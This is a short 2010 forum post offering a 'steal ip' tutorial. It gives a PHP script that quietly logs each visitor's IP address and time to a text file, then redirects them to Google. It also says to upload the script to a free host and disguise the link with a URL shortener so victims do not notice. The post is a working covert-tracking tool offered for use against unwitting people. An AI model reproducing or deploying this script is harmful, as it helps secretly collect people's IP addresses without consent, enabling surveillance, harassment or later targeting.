Thread: [steal ip with website No tool download 2 sec job](#)

SIM-570417 - November 26, 2010, 3:28 am

this not steals pass so is not phishing

sorry if is posted before

first of all make an account at Spam.com

copy this in notepad

```
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("ip_log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);
header( 'Location: http://www.google.com' );
?>
```

and save as ip.php

now login to Spam and upload the ip.php

and create a text document ip_log.txt

and this is all

u can edit the url and the ip log

to make url more short go to dot.tk
